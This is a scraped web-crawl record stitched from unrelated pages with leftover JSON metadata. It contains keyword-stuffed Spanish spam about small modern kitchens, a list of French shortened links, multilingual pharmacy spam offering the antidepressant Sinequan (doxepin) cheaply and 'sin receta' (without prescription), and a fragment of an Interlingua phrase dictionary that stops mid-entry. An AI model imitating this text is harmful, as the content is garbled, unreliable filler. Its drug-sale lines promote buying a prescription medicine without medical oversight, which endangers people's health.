decoracion cocinas pequeas with ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\ntrendy cocinas amuebladas modernas with ideas cocinas pequeas modernas.\ncool en una cocina pequea with ideas cocinas pequeas modernas.\ncheap mesa y bancos de madera en la cocina pequea moderna with ideas cocinas pequeas modernas.\ncocinas pequeas modernas de fotos e ideas elegant diseos de cocinas pequeas with diseos de cocinas pequeas modernas with ideas cocinas pequeas modernas.\nbest ideas de diseo para cocinas modernas pequeas cocina pequea dentro cocinas modernas pequeas a residencia with ideas cocinas pequeas modernas.\nfabulous pequea cocina moderna with ideas cocinas pequeas modernas.\nmejores imgenes de cocinas con barra en pinterest ideas populares cocinas modernas with ideas cocinas pequeas modernas.\nbest hermosas cocinas peque as modernas con la ultima disenos de cocinas pequenas y sencillas with ideas cocinas pequeas modernas.\ngood cocina pequea de estilo rstico with ideas cocinas pequeas modernas.\ncool cocinas pequeas modernas with ideas cocinas pequeas modernas.\nexcellent cocinas pequeas modernas tendencia en decoracion de cocinas modernas pinterest kitchen design kitchens and pine with ideas cocinas pequeas modernas.\ngreat tradicin with ideas cocinas pequeas modernas.\ncocinas pequeas y modernas with ideas cocinas pequeas modernas.\nlatest diseo de cocina en u moderna pequea abierta con armarios con paneles with ideas cocinas pequeas modernas.\ngallery of cocinas pequeas con isla ideas decoracion pequenas encanto modernas cocina en tonos claros with ideas cocinas pequeas modernas.\nbest cocina moderna pequea with ideas cocinas pequeas modernas.\nfree imagenes cocinas modernas diseo de cocinas pequeas modernas stunning imgenes de cocinas en with ideas cocinas pequeas modernas.\nestanteras abiertas en cocinas pequeas with ideas cocinas pequeas modernas.\ninteresting affordable como decorar una cocina pequea imagenes planos sala moderna iglesia with como decorar una cocina pequea with ideas cocinas pequeas modernas.\nfree islas de cocina pequenas modernas para cocinas grupo maxxum ideas dormitorio with ideas cocinas pequeas modernas.\nsimple diseno cocinas pequenas modernas best ideas para decorar cocina gallery casa diseao pequena dise o de with ideas cocinas pequeas modernas.\nlatest excepcional hgtv ideas decoracin cocina decoracin ideas ideas with ideas cocinas pequeas modernas.\nexcellent ideas estratgicas para la decoracin de cocinas pequeas para decoracion de cocinas pequeas with cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncocinas pequeas estilo industrial with ideas cocinas pequeas modernas.\nsimple cocinas pequeas modernas ideas casa nueva pinterest cocinas modernas espacios pequeos cocina pequea y decoracin de cocina moderna with ideas cocinas pequeas modernas.\nfinest cocinas pequeas modernas de fotos e ideas with ideas cocinas pequeas modernas.\nfree vistoso decoracin cocinas pequeas modernas cresta ideas de ideas para cocinas pequeas modernas with ideas cocinas pequeas modernas.\ntop cheap cocinas pequeas modernas images eso ideas agradables para casa muebles sala familiar cocina rediseo para crear ideas nuevas vestir tu hogar with ideas with ideas cocinas pequeas modernas.\nelegant hermosas cocinas peque as modernas con la ultima disenos de cocinas pequenas y sencillas with ideas cocinas pequeas modernas.\ngood free ideas de cocinas modernas pequeas with cocinas modernas pequeas alargadas with ideas cocinas pequeas modernas.\ngallery of cocinas pequeas modernas pinterest kitchens and doors with ideas cocinas pequeas modernas.\nsimple simple cocinas pequeas ideas para cocinas rsticas modernas y bonitas cocinas en l pequeas with cocinas bonitas y modernas with ideas cocinas pequeas modernas.\nsimple cocinas pequeas alargadas imagenes planos pequenas ideas modernas remodeladas with ideas cocinas pequeas modernas.\nlatest cocinas pequeas modernas isla pequena mesa bancos ideas with ideas cocinas pequeas modernas.\nideas para cocinas pequeas decoracin de cocinas modernas with ideas cocinas pequeas modernas.\nperfect cocinas peque as modernas de fotos e ideas coraideas estantes para cocina estanterias en with ideas cocinas pequeas modernas.\nawesome cocina moderna pequea with ideas cocinas pequeas modernas.\nestantera de acero en la cocina pequea moderna with ideas cocinas pequeas modernas.\ncolecci n decoracin de cocinas pequeas y modernas peque as fotos e ideas with ideas cocinas pequeas modernas.\nperfect ideas de decoracin para cocinas pequeas mujer de pequeas cocinas with cocinas pequeas modernas blancas with ideas cocinas pequeas modernas.\ndecoracion de cocinas pequeas ideas para decoracion cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncocinas pequeas modernas de fotos e ideas decora ideas cocinas pequeas pequeas modernas with ideas cocinas pequeas modernas.\nperfect de fotos cocinas peque as y modernas con barra m s ideas com blanca with ideas cocinas pequeas modernas.\ncocinas pequeas ideas que impresionan dentro de diseos de cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncheap qu te parecen las ideas de decoracion para cocinas pequeas y modernas conoces ms ideas with ideas cocinas pequeas modernas.\namazing decoracion de cocinas pequeas modernas with ideas cocinas pequeas modernas.\nideas para cocinas pequeas modernas tipo pasillo with ideas cocinas pequeas modernas.\nstunning ideas about cocinas con barra on pinterest barras para cocinas pequeas modernas with ideas cocinas pequeas modernas.\ngood diseo de cocina con iluminacin artificial with ideas cocinas pequeas modernas.\ncool ideas cocinas cocina pequea cocina moderna votos cocinas de cabaa cocinas pequeas cocinas modernas cocina moderna estilo shaker with ideas cocinas pequeas modernas.\ndecoracion de cocinas pequeas modernas ideas pequenas con plantas fabricada por arte with ideas cocinas pequeas modernas.\ngood ideas para cocinas pequeas modernas americana with ideas cocinas pequeas modernas.\nexcellent cocinas modernas pequeas youtube cocinas pequeas modernas de with ideas cocinas pequeas modernas.\namazing cocinas pequeas decoracion de cocinas pqueas ideas para cocinas pequeas tendencia en decoracion with ideas cocinas pequeas modernas.\nbeautiful excellent cocinas americanas modernas ideas decoracion sodimac pequenas cocina con office isla encimera de corian gris fed imagenes ver perfect with cocinas with ideas cocinas pequeas modernas.\nbest cocinas pequeas modernas de fotos e ideas gorgeous cocinas pequeas con isla modernas with cocinas pequeas modernas con isla with ideas cocinas pequeas modernas.\ngallery of ideas cocinas pequeas modernas trendy ideas de diseo para cocinas with ideas cocinas pequeas modernas.\namazing cocinas pequeas modernas de fotos e ideas cocinas modernas with ideas cocinas pequeas modernas.\naffordable cocinas pequeas modernas de fotos e ideas with ideas cocinas pequeas modernas.\nexcellent cocinas pequeas modernas images eso ideas agradables para casa muebles sala familiar cocina with ideas cocinas pequeas modernas.\ncool decoracion de cocinas pequenas con poco dinero ideas de decoracion de cocinas modernas pequenas with ideas cocinas pequeas modernas.\ncool ideas para decorar la cocina sin gastar mucho dinero with ideas cocinas pequeas modernas.\nawesome ideas cocinas pequeas decoracion de pequenas modernas en para with ideas cocinas pequeas modernas.\ngallery of cocinas modernas pequeas fotos hogar decoracin y diseo va with ideas cocinas pequeas modernas.\nbeautiful cocinas pequeas modernas with ideas cocinas pequeas modernas.\ninteresting cocinas pequeas modernas bellas barras para cocinas pequeas cheap encantador diseo de cocina pequea of with ideas cocinas pequeas modernas.\ncocinas pequenas modernas de fotos e ideas with ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\nfree offices con muy buenas ideas que se dejan copiar with ideas cocinas pequeas modernas.\nexcellent cocinas pequeas ideas para cocinas rsticas modernas y bonitas diseos cocinas pequeas with ideas cocinas pequeas modernas.\nfabulous cocinas peque as modernas interiors kitchens and house fotos dise o y decoraci n decora with ideas cocinas pequeas modernas.\namazing las cocinas pequeas pueden ser tan cmodas funcionales y parecer tan grandes como deseamos with ideas cocinas pequeas modernas.\ncocinas pequeas ideas para cocinas rsticas modernas y bonitas fotos de cocinas modernas pequeas with ideas cocinas pequeas modernas.\nfabulous cocinas pequeas modernas pinterest cocinas modernas espacios pequeos decoracin de cocina moderna y diseos de cocinas pequeas with ideas cocinas pequeas modernas.\ncocinas pequeas y modernas with ideas cocinas pequeas modernas.\ncocinas pequeas modernas de fotos e ideas ecoraideas with ideas cocinas pequeas modernas.\nexcellent atractivo pinturas de colores para cocinas pequeas foto ideas with ideas cocinas pequeas modernas.\naffordable diseos cocinas pequeas modernas cincuenta modelos with ideas cocinas pequeas modernas.\nfinest cocinas pequeas modernas de fotos e ideas decora ideas para cocina pequea moderna with ideas cocinas pequeas modernas.\naffordable ideas para cocinas pequeas modernas cocinas pequeas modernas y de with ideas cocinas pequeas modernas.\nfinest ideas de mesas y barras para comer en la cocina cocinas con estilo barra dise with ideas cocinas pequeas modernas.\ngreat cocina americana pequea ideas modelos pequena moderna decoracion imagenes para apartamento en with decoracion cocina americana with cocinas americanas with ideas cocinas pequeas modernas.\ndecoracin de cocinas pequeas y modernas with ideas cocinas pequeas modernas.\nfabulous cheap innovadoras ideas para cocinas pequeas modernas with decoracion cocinas pequeas modernas with ideas cocinas pequeas modernas.\nlatest best cocinas pequeas ideas que impresionan cocinas pequenas modernas mesa alta madera armario empotrado pared with cocinas pequenas modernas fotos with ideas cocinas pequeas modernas.\ncool beautiful diseo de cocina pequea escalera ideas decoracion with ideas cocina pequea with ideas cocinas pequeas modernas.\nstunning ideas cocinas pequeas decoracion de pequenas modernas en para with ideas cocinas pequeas modernas.\naffordable muebles cocinas pequeas modernas para que muebles para cocina pequena ideas de disenos ciboney with muebles de cocina pequea modernos with ideas cocinas pequeas modernas.\ngood cocina con toques en negro y metal cocinas de estilo mediterrneo de laura yerpes estudio with ideas cocinas pequeas modernas.\nelegant best ideas cocinas pequeas imagenes planos pequenas modernas para de with fotos de cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncheap decoracion de pequeas cocinas modernas en blanco buscar con para ideas cocinas modernas blancas with ideas cocinas pequeas modernas.\nm nica dise os una cocina peque a disenos de cocinas pequenas y sencillas with ideas cocinas pequeas modernas.\nperfect encantador cocinas pequeas modelos de muebles modernos download by tablet desktop original size with ideas cocinas pequeas modernas.\nbeautiful ideas cocina pequeas modernas decoracion with ideas cocinas pequeas modernas.\ndiseos de cocinas pequeas modernas mejores ideas cocinas pequenas disenos with ideas cocinas pequeas modernas.\ngood blog with ideas cocinas pequeas modernas.\nideas de decoracin para cocinas pequeas modernas decoracion ideas decor deco with ideas cocinas pequeas modernas.\ntrendy diseos de cocinas with ideas cocinas pequeas modernas.\ncheap cheap cocinas pequeas ideas para optimizar espacio cocina pequea con respecto a cocinas modernas funcionales para with cocina pequea moderna lineal with ideas cocinas pequeas modernas.\naffordable with ideas cocinas pequeas modernas.\ncocinas pequeas practicas imagenes cocina blanca moderna en aef planos pequenas ideas modernas with ideas cocinas pequeas modernas.\naffordable ms de fotos de cocinas pequeas modernas de adems de cocinas pequeas con isla cocinas pequeas en l cocinas pequeas alargadas y de diseo with ideas cocinas pequeas modernas.\ngreat cocinas pequeas with ideas cocinas pequeas modernas.\nideas para cocinas pequeas aprovecha el espacio with ideas cocinas pequeas modernas.\ninteresting cocinas pequeas with ideas cocinas pequeas modernas.\nbest ideas para peque as cocinas cocinas peque as y bonitas cocinas peque with ideas cocinas pequeas modernas.\nawesome ideas para cocinas pequeas modernas pequenas tipo planos la idea de mesa a imagenes with ideas cocinas pequeas modernas.\nfinest cocinas pequeas modernas estilo vintage losas preciosas ideas with cocinas cuadradas pequeas with cocinas cuadradas pequeas with ideas cocinas pequeas modernas.\naffordable elegante de decoracion cocinas imgenes with ideas cocinas pequeas modernas.\ncheap cocinas pequeas modernas de fotos e ideas para cocinas pequeas en l with ideas cocinas pequeas modernas.\nbest innovadoras ideas para cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncolor que podemos aplicar a cualquier estilo cocinas estilo vintage cocinas estilo rstico cocinas cocinas modernas cocinas clsicas with ideas cocinas pequeas modernas.\nexcellent a continuacin te dejamos varias ideas de cocinas modernas pequeas ideales para que puedas tener en prctica vos si tenes cocinas chicas por decorar o with with ideas cocinas pequeas modernas.\nsimple colores cocinas pequenas ideas de disenos ciboney net modernas peque as youtube with ideas cocinas pequeas modernas.\nstunning affordable cocinas pequeas ideas que impresionan with diseos de cocinas pequeas with cocinas pequeas modernas with ideas cocinas pequeas modernas.\nfree cocinas pequeas modernas de fotos e ideas ecoraideas diseos cocinas pequeas with ideas cocinas pequeas modernas.\ncool ideas de decoracion de cocinas pequeas cocinas pequeas modernas decoracion with ideas cocinas pequeas modernas.\namazing combinacin de blanco y gris en la cocina pequea moderna with ideas cocinas pequeas modernas.\nstunning decoracion de cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncool fresh mesas de cocina modernas pequenas ideas de decoracion with ideas cocinas pequeas modernas.\nideas de cocinas rsticas modernas vintage pequeas grandes with ideas cocinas pequeas modernas.\namazing ideas de mesas y barras para comer en la cocina with ideas cocinas pequeas modernas.\nawesome decorar cocinas pequenas mesa sillas modernas ideas with decoracion de cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncocinas pequeas modernas images eso inspirarte para hogar muebles sala familiar cocina remodelacin with ideas cocinas pequeas modernas.\nbeautiful mesa de madera y alfombra vintage cocina pequea moderna with ideas cocinas pequeas modernas.\ndebemos with ideas cocinas pequeas modernas.\nfinest with ideas cocinas pequeas modernas.\namazing elegant decoracin de cocinas pequeas y modernas with cocinas pequeas modernas with ideas cocinas pequeas modernas.\naffordable cocinas peque as fotos e ideas de dise o y decoraci n integrales modernas para with ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncheap ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\nlatest diseno cocina pequena diseo cocinas pequeas youtube ideas modernas with ideas cocinas pequeas modernas.\nlatest el asombroso ideas cocinas pequeas con respecto a hogar with ideas de cocinas modernas with ideas cocinas pequeas modernas.\naffordable decoracion de cocinas este arta culo partes del cuadro decoracia an ideas para decorar la cocina decoracion de cocinas ideas with ideas cocinas pequeas modernas.\nsimple cocinas pequeas modernas genial modelos de cocinas americanas con e ideas para el cocina with ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\nperfect cool cheap cocinas pequeas y vintage with ideas cocinas pequeas modernas with cocinas vintage modernas with ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncocinas modernas pequeas youtube cocinas pequeas modernas de with ideas cocinas pequeas modernas.\ncheap ms ideas cocinas pequeas fotos e ideas de diseo y decoracin moderna with diseos de cocinas pequeas modernas with ideas cocinas pequeas modernas.\ncocinas pequeas modernas de fotos e ideas ecoraideas decoracion de cocinas pequeas with ideas cocinas pequeas modernas.\ncocinas de estilo clsico por interior designers pavel and svetlana alekseeva with ideas cocinas pequeas modernas.\ntrendy gallery of disenos de cocinas pequenas modernas y sencillas ideas destinado para cocinas integrales pequeas modernas with ideas cocinas pequeas modernas.\nperfect si with ideas cocinas pequeas modernas.\nperfect ideas cocinas pequeas modernas with ideas cocinas pequeas modernas.\nfabulous vistoso ideas para cocinas pequeas uk coleccin ideas para with ideas cocinas pequeas modernas.\nbest cocinas peque as modernas de fotos e ideas cocinas pequenas alargadas with ideas cocinas pequeas modernas.\ngreat ideas cocinas pequeas decoracion modelos de pequenas modernas para ikea cocina mini con mobiliario en with ideas cocinas pequeas modernas.\ntrendy ideas de islas para cocinas modernas para cocinas de gran diseo with islas de cocinas pequeas with ideas cocinas pequeas modernas.\nbest lamparas para cocinas pequenas ideas de decoraci n para casa islas para cocina pequenas with ideas cocinas pequeas modernas.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/manner.biz\/ideas-cocinas-pequeas-modernas.html","date":"2018-10-21T16:19:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514162.67\/warc\/CC-MAIN-20181021161035-20181021182535-00529.warc.gz","language":"ina","language_score":0.326469183,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.32646918296813965, \"spa_Latn_score\": 0.26969674229621887, \"glg_Latn_score\": 0.2207445502281189, \"rmy_Latn_score\": 0.025363009423017502, \"nhg_Latn_score\": 0.019512182101607323, \"ext_Latn_score\": 0.019020959734916687, \"lat_Latn_score\": 0.014466612599790096, \"cbk_Latn_score\": 0.012761805206537247}","num_words":5933,"character_repetition_ratio":0.457,"word_repetition_ratio":0.299,"special_characters_ratio":0.153,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":0.327,"perplexity_score":8410.8,"cluster_detection":-1} +{"text":"via Le MITHE de Marseille http:\/\/ift.tt\/2iI4lrN\nvia Le MITHE de Marseille http:\/\/ift.tt\/2B2o9ge\nvia Le MITHE de Marseille http:\/\/ift.tt\/2iG9IYn\nvia Le MITHE de Marseille http:\/\/ift.tt\/2B3ztsr\nvia Le MITHE de Marseille http:\/\/ift.tt\/2iJcexo\nvia Le MITHE de Marseille http:\/\/ift.tt\/2B4r2gF\nvia Le MITHE de Marseille http:\/\/ift.tt\/2iG9AYT\nvia Le MITHE de Marseille http:\/\/ift.tt\/2B2XBve\nvia Le MITHE de Marseille http:\/\/ift.tt\/2iIjvgC\nvia Le MITHE de Marseille http:\/\/ift.tt\/2B2Xtfe","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/www.mithedemarseille.com\/tag\/soiree-culturelle\/","date":"2018-11-21T19:09:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039749562.99\/warc\/CC-MAIN-20181121173523-20181121195523-00435.warc.gz","language":"ina","language_score":0.483874172,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"ina_Latn_score\": 0.4838741719722748, \"fra_Latn_score\": 0.17656275629997253, \"gle_Latn_score\": 0.12007772922515869, \"kiu_Latn_score\": 0.014077126048505306, \"nap_Latn_score\": 0.013047894462943077, \"eng_Latn_score\": 0.011375698260962963}","num_words":166,"character_repetition_ratio":0.255,"word_repetition_ratio":0.306,"special_characters_ratio":0.269,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":0.454,"perplexity_score":3891.0,"cluster_detection":-1} +{"text":"basso costo Sinequan Tacchino\nnombre Sinequan farmacia\nbasso costo Doxepin hydrochloride USA\ngenerico Sinequan nome\nprecio de Sinequan en farmacia en españa\nAcquistare Sinequan 10 mg Stati Uniti\nIl costo di Sinequan 10 mg Italia\nconveniente Sinequan\nnombre del medicamento generico del Sinequan\ndifferenza tra Sinequan generico\nconveniente 10 mg Sinequan Emirati Arabi Uniti\nbasso costo Sinequan Doxepin hydrochloride\nSinequan farmacia sin receta\nacquistare Sinequan milano\nconveniente Sinequan Doxepin hydrochloride Europa\nSinequan femenino generico\nOrdine Sinequan 10 mg Grecia\ncheap Premarin\ngeneric Professional Cialis\nbuy Tetracycline\nnonbaohiemst.com\ncheap Celebrex\nPrezzo basso Sinequan 10 mg USA\nSinequan generico tadalafil\nAcquista 10 mg Sinequan Australia\ndove acquistare Sinequan rosa\nPrezzo basso Doxepin hydrochloride UK\nSconto Sinequan 10 mg Italia\nSinequan farmacia doctor simi\nAcquista Sinequan 10 mg Danimarca\ngenerico do Sinequan ems nome\ncomprar Sinequan generico malaga\nbasso costo Sinequan 10 mg Tacchino\ndiferencia entre Sinequan generico y original\nconveniente Sinequan 10 mg Italia\nprecio Sinequan en farmacia andorra\nconveniente Sinequan Norvegia\nrequisitos para comprar Sinequan farmacias\nQuanto costa Sinequan 10 mg Canada\nQuanto costa Sinequan Doxepin hydrochloride\ngenerico 10 mg Sinequan Giappone\nSinequan naturale farmacia\ngenerico Doxepin hydrochloride Austria\ngenerico do Sinequan germed\nPrezzo Sinequan US\nPrezzo Sinequan Repubblica Ceca\nIl costo di 10 mg Sinequan Giappone\nA buon mercato 10 mg Sinequan USA\nSinequan precio venta farmacia\nSinequan farmacias andorranas\nin linea Sinequan Grecia\nbasso costo Sinequan 10 mg Emirati Arabi Uniti\nAcquistare 10 mg Sinequan Francia\ndove posso comprare il Sinequan generico\nA buon mercato Sinequan 10 mg Repubblica Ceca\nSinequan 10 mg acquisto line\nacquistare Sinequan internet\nSinequan femenina generico\nbasso costo 10 mg Sinequan Singapore\nposso comprar Sinequan na farmacia\nAcquista Doxepin hydrochloride Italia\nbasso costo 10 mg Sinequan Italia\nSinequan generico prezzo farmacia\ngenerico Sinequan Austria\nmarcas de Sinequan generico\ngenerico 10 mg Sinequan Stati Uniti\nSinequan generico consegna rapida\nSconto Doxepin hydrochloride Grecia\nconveniente 10 mg Sinequan Francia\nacquistare Sinequan generico europa\nSinequan 10 mg generico prezzo\nin linea Sinequan USA\nOrdine Sinequan Doxepin hydrochloride Olanda\nconveniente Doxepin hydrochloride Australia\nSinequan comprar em farmacia\nin linea 10 mg Sinequan Belgio\nAcquista Sinequan Doxepin hydrochloride Austria\nbasso costo Sinequan Canada\nfarmacia on line vendita Sinequan\nconveniente Sinequan 10 mg Danimarca\nA buon mercato 10 mg Sinequan Francia\nSinequan en farmacias precio\nPrezzo Sinequan 10 mg Singapore\nSconto Doxepin hydrochloride Giappone\nIl costo di Sinequan Doxepin hydrochloride Svezia\nconveniente Sinequan 10 mg Stati Uniti\nAcquistare Sinequan Europa\ncheap Rogaine\ncheap Coumadin\ngeneric Vermox\nmayama.org.mx\nbpta.ir\n2EZYsMl","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/nonbaohiemst.com\/in-linea-doxepin-hydrochloride-10-mg-sconto-consegna-rapida-discount-pharmacy-us-online\/","date":"2018-12-18T22:10:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376829812.88\/warc\/CC-MAIN-20181218204638-20181218230638-00547.warc.gz","language":"ina","language_score":0.4525930285,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.45259302854537964, \"lat_Latn_score\": 0.10574062913656235, \"ita_Latn_score\": 0.09086684882640839, \"eus_Latn_score\": 0.06173567846417427, \"ile_Latn_score\": 0.05496064946055412, \"por_Latn_score\": 0.02408113144338131, \"mlt_Latn_score\": 0.021342799067497253, \"kiu_Latn_score\": 0.019463228061795235, \"lij_Latn_score\": 0.013448714278638363, \"nld_Latn_score\": 0.011115667410194874, \"eng_Latn_score\": 0.011069481261074543, \"scn_Latn_score\": 0.01074354536831379}","num_words":856,"character_repetition_ratio":0.191,"word_repetition_ratio":0.006,"special_characters_ratio":0.158,"stopwords_ratio":0.016,"flagged_words_ratio":0.0,"lang_id_score":0.28,"perplexity_score":31388.4,"cluster_detection":-1} +{"text":"A - AEDO - AN - AQUA - B - C - CARTA - CI - COMEDIA - CONNATURAL - CORPORE - D - DESOLAR - DISGUSTAR - E - ES - F - G - H - I - INDUBITABILE - INTER - J - K - L - M - ME - MOA - N - O - P - PE - PI - POPULO - PRO - Q - R - REGULA - RETRO - S - SE - SO - SU - T - TOALIA - U - V - W - X - Y - Z\nes\nes 13,55 [le densitate de mercurio\nes a Bilthoven [io\nes a pena appreciabile [le differentia\nes a pena credibile [isto\nes a pena pronunciabile [iste parola\nes a pena publicabile [iste texto\nes a pena recognoscibile [ille\nes a vostre disposition [le billetes\nes abandonate [le altere cammino\nes absente [io crede que Jan\nes absorbite per le papiro [le tinta\nes abstemio [ille\nes acclimatabile in nostre pais [iste planta non\nes accompaniate de un supplemento [iste numero\nes adjacente [le altere casa\nes admirabile [su abnegation\nes adverse al interesse general [isto\nes al hora de mangiar [il\nes al inverso [tu calcetta\nes al nodo del problema [vos\nes alco nove? [esque isto\nes alcoholisabile [le sucro\nes alien [nihil del humano le\nes alineate [le casas\nes allusive [le linguage del poesia\nes altere [in theoria isto pare multo facile, ma le realitate\nes amoral [le leges del natura\nes ancora in deliberation [le cosa\nes ancora in le parte basse del scala social [ille\nes ancora inexplorate [le fundo del mar\nes ancora lontano [le vacantias\nes ancora salvabile [salvar lo que\nes ancora semiplen [le bottilia\nes ancora susceptibile de cambiamentos [le plano\nes antinomic [iste conceptiones\nes aperte al particulares [le bursa non\nes aperte [le chassa\nes aperte [le tappo\nes applicabile a totes [le lege\nes applicabile hic [iste articulo de lege\nes applicabile hic [iste regula non\nes approbabile [su conducta non\nes apte pro tote le publicos [iste film\nes ardente de febre [io\nes ardente [le suppa\nes assecurate [su futuro\nes attribuite a Van Gogh [iste pictura\nes auro tote lo que reluce [il non\nes authentic [le documento\nes basse [le dollar\nes belle, ma excede nostre possibilitates economic [le casa\nes belle! [como illa\nes ben aerate [iste schola\nes ben aleatori [su successo\nes ben bibibile [iste vino\nes ben proportionate [le insimul\nes benvenite [tote le interessatos\nes bimane [le homine\nes biocatalysatores [le enzymas\nes blande como le butyro [isto\nes blau [su color preferite\nes bon [le moral\nes calde [on debe batter le ferro quando illo\nes calide [on debe batter le ferro quando illo\nes capriciose [le tempore\nes car le vita [si te\nes cec [le amor\nes certificate per un recepta [le pagamento\nes cessibile [iste actiones non\nes chimicamente inerte [helium\nes clause [le chassa\nes clause [le incidente\nes clause [le incidente\nes clause [le museo\nes como del familia [ille\nes como seque [le procedimento\nes como un horologio [ille\nes competente [un tertio de iste hereditage me\nes completemente circumferite de edificios [le corte interior\nes comprimibile [le aere\nes compulsori, nonne? [isto non\nes conciliabile [iste opiniones non\nes condemnate al fallimento [tote iste planos\nes confuse [le situation\nes consiliabile exir a iste hora [il non\nes consubstantial con le Filio e le Spirito Sancte [In le Trinitate, le Patre\nes consultabile al Bibliotheca National [le manuscripto\nes contigue [lor jardines\nes contra tote probabilitate que [il\nes contradictori [iste conceptiones\nes contrari a nostre interesses [isto\nes contrari al equitate [isto\nes contrari al justitia [isto\nes contrari al natura [isto\nes contrari al veritate [isto\nes coperite de nive, on non pote passar [pro que le via\nes correcte [mi presentimentos\nes correcte [mi suspiciones\nes curiose de saper su planos [io\nes curiose in iste caso es que [lo que\nes curiose pro saper su planos [io\nes currente [como\nes currente [como il\nes de bon familia [ille\nes de character romantic [ille\nes de grande lethalitate [iste veneno\nes de humor volubile [ille\nes de iste mundo [le perfection non\nes de mi competentia [isto non\nes de mi incumbentia [isto non\nes de mi preferentia [isto\nes de mi responsabilitate [isto non\nes de natural dulce [ille\nes de nostre aviso [multes\nes de nostre dominio [iste activitates non\nes de pulvere e in pulvere tu te convertera [tu\nes de un illustre cuna [ille\nes de un pedanteria insupportabile [ille\nes debite [como\nes deceptive [le apparentias\nes defendibile sin artilleria [iste position non\nes defendibile [iste assertion non\nes del juvenes [le futuro\nes del mesme ligno [illes\nes democrate usque al medulla del ossos [ille\nes depositario del documentos sigillate [le notario\nes derisori [iste proposition\nes destinate al ferralia [iste auto(mobile)\nes destinate pro le ferralia [iste auto(mobile)\nes diabetico [ille\nes didactyle [le avestruthio\nes difficile a determinar [iste distantia\nes difficile de acceder al litteratura super iste subjecto [il\nes difficile de realisar [in le practica isto\nes difficile [differentiar iste duo nuances\nes difficile [le obtention de un temperatura constante\nes difficilemente accessibile [iste region\nes difficilemente approchabile [ille\nes difficilemente reimplaciabile [un tal empleato\nes disavantagiate de su etate [illa\nes disdignabile [iste offerta non\nes disposite a collaborar [ille\nes disposite a pagar le costos [io\nes disposite a prestar un servicio [semper ille\nes disposite a prestar un servicio [sempre ille\nes disproviste de gratia [illa\nes disproviste de tote fundamento [iste affirmation\nes disregulate [le motor\nes dissociabile del nostre [vostre responsabilitate non\nes distante le un del altere de circa vinti kilometros [iste duo urbes\nes diversemente interpretabile [iste texto\nes divisibile per duo [le numeros par\nes dotate pro le mathematica [ille\nes dotate pro le patinage [ille non\nes dual [iste notion\nes efficace [iste medicamento\nes eliminate [iste possibilitate\nes ephemere [le gloria\nes epiphytos [le lianas\nes equal a duo tertios del longor [le largor\nes equal al summa del quadratos del duo altere lateres [le quadrato del hypothenusa\nes equipate pro le tourismo [iste region non\nes equivalente [iste duo expressiones\nes equivalente [lor partes de hereditage\nes essential al vita [le nutrition\nes establite in iste edificio [le officio\nes etiquettate mechanicamente [le lattas\nes evidente que ille ha mentite [il\nes exacte [io vos certifica que le information\nes exacte [le division non\nes excessivemente meticulose in su labor [ille\nes excessivemente meticulose in su travalio [ille\nes excessivemente radical [illa\nes exhaurite [le stock\nes exhauste [iste libro\nes exhauste [le stock\nes exhauste [mi patientia\nes extrememente meticulose in su labor [ille\nes extrememente meticulose in su travalio [ille\nes fabulosemente ric [ille\nes facibile [isto\nes facile a apprender [Interlingua\nes facile a contentar [ille non\nes facile de contentar [ille non\nes facile de extender a qualcunque temperatura [iste margarina\nes facilemente accessibile [le litteratura super iste subjecto non\nes facilemente imitabile [su signatura\nes facultative [le cognoscentia de linguas\nes facultative [le cognoscimento de linguas\nes fallibile [le ration human\nes falsificate [iste diario\nes familiar [tu facie me\nes finite a medietate [le labor\nes finite a medietate [le travalio\nes finite [con illo le cosa\nes fluctuante in su opiniones [ille\nes foras de dubitas [su reputation\nes foras de nostre horizonte [isto\nes foris de nostre horizonte [isto\nes francamente illegibile [vostre scriptura\nes francamente non mangiabile [iste carne\nes frequente in le comedias [le apartes\nes frigide al tacto [isto\nes fundate [mi presentimentos\nes fundate [mi suspiciones\nes gratis [in iste vita nihil\nes gravate indelibilemente in su memoria [iste evento\nes gravemente malade [illa\nes grumose [le pappa\nes H2O [le formula de aqua\nes habitate [le casa non\nes habitual [como\nes habitual [como il\nes harmoniosemente proportionate [le insimul\nes homonyme, ma nos non es parentes [nostre nomines\nes hostil a iste projecto [ille\nes human [errar\nes identic al monstra [le partita non\nes identic [iste duo sorores\nes: i.e. [id\nes: i.e. [il\nes: i.e. [illo\nes il? [qual hora\nes illimitate [le universo\nes immancabile [in omne reuniones su presentia\nes immensemente felice [illes\nes immergite [le dica\nes imminente [le estate\nes imminente [le guerra\nes immortal [le anima\nes imprendibile [le citate\nes impressive [su confidentia\nes impressive [su confidentia in se ipse\nes impronunciabile pro multes [le \"th\" anglese\nes imputabile al politica del governamento [iste disveloppamento\nes imputrescibile [iste ligno\nes in disordine [toto\nes in le aere [iste idea\nes in le medio [le veritate\nes in le prolongamento del Rue de Rivoli [le Rue St. Antoine\nes in le tertie mense de su pregnantia [illa\nes in plen activitate [le fabrica\nes in plen evolution [le sector del sanitate\nes in preparation [le tertie edition\nes in singular [iste verbo\nes in sol minor [isto\nes in su natura [isto non\nes in un impasse [le negotiationes\nes inabordabile [in le hiberno iste porto\nes inadaptabile a usos scholar [iste 